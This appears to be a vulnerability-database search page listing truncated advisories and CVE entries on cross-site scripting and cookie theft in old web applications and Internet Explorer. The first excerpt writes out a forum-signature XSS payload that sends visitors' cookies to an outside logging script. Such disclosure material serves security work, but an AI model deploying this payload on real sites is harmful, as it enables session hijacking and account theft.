271 matches found
Land Down Under
Bug finder:spyMASter Web site:Realhackers.net Contact:[email protected] LDU has some xss vulns Firstly you can use html codes in your signature you can get cookies with this put your signature that code SCRIPT location.href='http://site.com/log/ekle.php?c='+escapedocument. cookie/SCRIPT an...
htdig -- cross site scripting vulnerability
Michael Krax reports a vulnerability within htdig. The vulnerability lies within an unsanitized config parameter, allowing a malicious attacker to execute arbitrary scripting code on the target's browser. This might allow the attacker to obtain the user's cookies which are associated with the sit...
phpEventCalendar.txt
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Title: phpEventCalendar HTML injection Vulnerability discovery: Madelman Date: 25/01/2005 Severity: Medium. Registered users can obtain other users cookies Summary: - -------- phpEventCalendar is a MySQL backed application that allows users to post an...
Pivot 1.20 Beta 3 - admin & shell
oooo oooo oooooooo8 ooooooooooo 8888o 88 888 88 888 88 88 888o88 888oooooo 888 88 8888 888 888 o88o 88 o88oooo888 o888o Network security team nst.e-nex.com Title: Pivot 1.20 Beta 3 - admin & shell Bug found by: тёмыч Date: 9.12.2004 Pivot 1.20 Beta 3 script author: http://www.pivotlog.net google:...
XSS Vulnerability in LedNews (CGI/Perl) v0.7
XSS Vulnerability in LedNews CGI/Perl v0.7 URL: http://www.ledscripts.com/index.php?page=free:perl:lednews Description ======= LedNews is a CGI application written entirely in perl. Its designed to be as simple as possible, but very powerful at the same thing. Vulnerability ======== The script do...
XOOPS Glossary Module glossaire-aff.php lettre Parameter XSS
There is a cross-site scripting issue in the version of XOOPS installed on the remote host that may allow an attacker to steal your user cookies. The flaw lies in 'glossaire-aff.php'. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. Ref : Date: 1 Apr 2003 13:08:28 -0000 From: magistrat To:...
CVE-2001-0722
The CVE concerns Internet Explorer versions 5.5 and 6.0, where a vulnerability allows remote attackers to read and modify the user’s cookies via Javascript executed in an about: URL. Affected software is Internet Explorer 5.5/6.0; the root cause and mechanics are described as the ability to acces...
CVE-2001-0723
Internet Explorer 5.5 and 6.0 allows remote attackers to read and modify user cookies via Javascript, aka the "Second Cookie Handling Vulnerability."...
CVE-2001-0723: Undefined Security Weakness
Internet Explorer 5.5 and 6.0 allows remote attackers to read and modify user cookies via Javascript, aka the "Second Cookie Handling Vulnerability."...
CVE-2001-0897: Undefined Security Weakness
Cross-site scripting vulnerability in Infopop Ultimate Bulletin Board UBB before 5.47e allows remote attackers to steal user cookies via an IMG tag that references an about: URL with an onerror field...
